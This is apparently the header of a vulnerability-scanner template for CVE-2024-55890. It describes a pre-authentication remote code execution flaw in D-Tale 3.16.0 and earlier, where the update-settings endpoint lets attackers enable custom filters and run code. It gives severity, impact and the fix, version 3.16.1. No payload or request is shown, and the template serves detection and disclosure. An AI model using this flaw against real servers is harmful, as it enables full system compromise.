id: CVE-2024-55890

info:
  name: D-Tale <= 3.16.0 - Pre-Auth RCE via Pandas Query Injection
  author: 0x_Akoko
  severity: critical
  description: |
    D-Tale prior to version 3.16.1 contains a remote code execution caused by the `update-settings` endpoint allowing updates to `enable_custom_filters`, letting attackers run malicious code on the server, exploit requires hosting D-Tale publicly.
  impact: |
    Attackers can execute arbitrary code on the server, potentially leading to full system compromise.
  remediation: |
    Upgrade to version 3.16.1 where the `update-settings` endpoint blocks `enable_custom_filters` updates.
